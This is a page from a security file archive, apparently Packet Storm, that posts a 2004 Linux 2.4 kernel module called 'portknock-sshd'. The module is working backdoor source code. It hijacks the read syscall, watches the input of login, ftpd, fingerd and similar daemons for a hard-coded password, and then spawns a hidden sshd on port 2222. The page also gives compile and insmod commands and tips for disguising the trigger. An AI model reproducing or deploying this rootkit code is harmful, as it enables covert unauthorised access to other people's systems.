exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

portknock-sshd_lkm.c

portknock-sshd_lkm.c
Posted Sep 13, 2004
Authored by Bugghy | Site vaida.bogdan.googlepages.com

Kernel module using portknocking to get sshd spawned after challenging a list of specified daemons. Designed for 2.4 kernels.

tags | kernel
systems | linux
SHA-256 | 2303c404a77a1d6f3f56d085ebc66a8d7c5ec6c8da1d01103b154df38163e80c

portknock-sshd_lkm.c

Change Mirror Download
//                      portknock sshd
// v1.0a (Aug 2004)
// by bugghy (bugghy@rootshell.be)

// Kernel module used to get a sshd by challenging a list of specified daemons
// Tested on: 2.4.22
// Ideea from - sunx's sunxkdoor (or was it stealth@cyberspace.org the first ?) no one gives credits these days :>
// - phrack 61 issue 14

// gcc -isystem /lib/modules/`uname -r`/build/include -O2 -DMODULE -D__KERNEL__ -c portknock-sshd_lkm.c
// insmod portknock-sshd_lkm.o

// Uses:
// backdoor (admin/hacker)

// TODO:
// netfilter hook ... to be launched after a funny ping (as suggested by stealth in his article)

// Problem:
// the challenge string you send over to the daemon can be sniffed
// Solution:
// use a "legit" looking string like: "ls /secretpass" when challenging ftpd

#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h>
#include <linux/mm.h>
#include <linux/sched.h>
#include <asm/uaccess.h>

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_AUTHOR("bugghy");
MODULE_DESCRIPTION("portknock sshd");
MODULE_LICENSE("Dual BSD/GPL");
#endif

#define PASS "tryme"
#define CMDNUM 6

char *LOGIN[CMDNUM] = {
"login",
"in.ftpd",
"in.rexecd",
"in.qpopper",
"in.fingerd",
"ipop3d"};

extern void *sys_call_table[];

ssize_t (*o_read) (int, void *, size_t);
void (*o_exit)(int);

static int get_shell()
{
int ret;
char *argv[] = { "/usr/bin/perl", "-e", // taken from p61 article 14
"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
"open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
"open(STDERR,'>/dev/null');"
"exec('sshd -e -d -p 2222');", NULL };

ret = exec_usermodehelper(*argv, argv, NULL); // /usr/include/linux/kmod.h
// or use do_execve() /usr/src/linux/fs/exec.c
return ret;
}

ssize_t h_read(int fd, void *buf, size_t count){
unsigned int i;
ssize_t ret;
char *tmp;
pid_t pid;

ret = o_read(fd, buf, count);

if(ret <= 0) // code stolen from sunxkdoor (actually it can only by '-1 or >= 0')
return ret;
if(fd != 0)
return ret;
if(ret < strlen(PASS))
return ret;

for(i=0; i <= (CMDNUM-1); i++)
if(!strncmp(LOGIN[i], current->comm, strlen(LOGIN[i])))
{
tmp=(char *) kmalloc(500, GFP_KERNEL);
memset(tmp, 0, 500);
copy_from_user(tmp, buf, strlen(buf)-1);

if(strstr(tmp, PASS) != NULL)
{
// printk("<1>%s executed by GOD\n", current->comm);
kfree(tmp);
pid = kernel_thread(get_shell, NULL, 0);
if(pid < 0)
{
// printk("<1>Fork failed (%d)\n", -pid);
o_exit(0);
}
// printk("<1>Pid %d\n",pid);
o_exit(0); // we quit (hopefully prevents some of the log output)
}

kfree(tmp);
}
return ret;
}

int init_module(void)
{
o_read = sys_call_table[SYS_read];
sys_call_table[SYS_read] = h_read;
o_exit = sys_call_table[SYS_exit];

return 0;
}

void cleanup_module(void)
{
sys_call_table[SYS_read] = o_read;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close